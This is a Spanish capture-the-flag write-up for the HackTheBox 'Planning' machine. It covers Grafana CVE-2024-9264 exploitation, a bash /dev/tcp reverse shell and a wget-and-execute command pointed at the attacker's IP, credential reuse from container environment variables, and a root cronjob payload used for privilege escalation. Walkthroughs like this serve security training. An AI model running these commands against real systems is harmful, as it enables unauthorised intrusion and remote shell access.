1. Escaneo de puertos tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. Enumeración
Una vez añadido el dominio planning.htbal fichero /etc/hosts, hacemos una enumeración de directorios y de subdominios. Del primero no encontramos nada, pero en el segundo realizando la siguiente enumeración:
# gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://planning.htb -t 200 --append-domain -k
Encontramos el siguiente subdominio:
Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]
3. Explotación
Vemos que se trata de un servicio web de grafana, con un panel de administración, y que se trata de la versión v11.0.0. Buscamos si existe alguna vulnerabilidad para dicha versión y encontramos el CVE-2024-9264, sobre el cual encontramos el siguiente PoC: https://github.com/nollium/CVE-2024-9264. Para ejecutar dicho exploit necesitamos unos credenciales válidos, por lo que realizamos una enumeración de directorios con el siguiente comando:
# gobuster dir -u http://grafana.planning.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --exclude-length 29
Pero los directorios que encontramos no nos aportan nada:
/public (Status: 302) [Size: 31] [--> /public/]
/admin (Status: 302) [Size: 24] [--> /]
/signup (Status: 200) [Size: 38241]
/login (Status: 200) [Size: 38241]
/plugins (Status: 302) [Size: 24] [--> /]
/api (Status: 401) [Size: 102]
/verify (Status: 200) [Size: 38241]
/metrics (Status: 200) [Size: 228883]
Revisando de nuevo la máquina en Hackthebox, vemos como en la información de la máquina nos aparece el siguiente mensaje:
As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r
Por lo que probamos a loguearnos con dichas credenciales en grafana y damos conseguido acceso como usuarios admin. Por lo que podemos ejecutar el exploit de la siguiente forma:
# python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd http://grafana.planning.htb
Obteniendo el siguiente resultado:
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
Creamos entonces una revershell para conseguir acceso al sistema. Realizando los siguientes pasos:
- Empezamos creando el siguiente script en nuestro equipo:
# vim exploit.s #!/bin/bash bash -i >& /dev/tcp/10.10.14.41/1234 0>&1 - Ponemos a la escucha un servidor http para compartir el archivo:
# python -m http.server 443 - Ponemos a la escucha netcat en el puerto 1234:
# nc -lvnp 1234 - Lanzamos el exploit para que descargue dicho archivo, otorgue permisos de ejecución y ejecute el script:
# python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "wget http://10.10.14.41:443/exploit.sh -O /tmp/exploit.sh && chmod +x /tmp/exploit.sh && /tmp/exploit.sh" http://grafana.planning.htb - Vemos como conseguimos acceso:
root@7ce659d667d7:~#
4. Docker escape
Observamos como se trata de un servicio dockerizado. Antes de intentar realizar nada, podemos listar las variables del entorno del contenedor, con el comando # env, observando la siguiente respuesta:
# root@7ce659d667d7:~/conf# env
env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana/conf
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
OLDPWD=/usr/share/grafana
Por lo que probamos a loguearnos por ssh, a la máquina, con la siguientes credenciales: enzo - RioTecRANDEntANT!. Conseguimos acceso y obtenemos la flag de usuario.
5. Escalado
Descubrimos que existe un servicio http corriendo en el puerto 8000, listando para ello los puertos del sistema:
$ ss -lntu
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:44397 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
tcp LISTEN 0 4096 *:22 *:*
Si miramos en el directorio /opt descubrimos que existe una carpeta crontab, la cual contiene un archivo crontab.db con el siguiente contenido:
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
Por lo que existe una posible credencial con la contraseña: P4ssw0rdS0pRi0T3c. Forwardeamos el servicio a nuestra máquina con el siguiente comando:
# ssh -L 1235:127.0.0.1:8000 enzo@planning.htb
Observamos un panel de logueo, por lo que intentamos iniciar sesión. Probamos con los credenciales root - P4ssw0rdS0pRi0T3c, y conseguimos acceso. En dicho panel web, podemos ver una serie de cronjobs, y también la posibilidad de crear nuevos. Con la expectativa de que sean ejecutados como usuario root en la máquina local, creamos un cronjob para copiar el archivo /root/root.txt al directorio del usuario con permisos de lectura. Para ello clickamos en New, y añadimos el siguiente payload al cronjob:
cp /root/root.txt /home/enzo/read.txt && chmod 775 /home/enzo/read.txt
Si accedemos de nuevo a la maquina al directorio de enzo, podemos leer la flag del usuario root.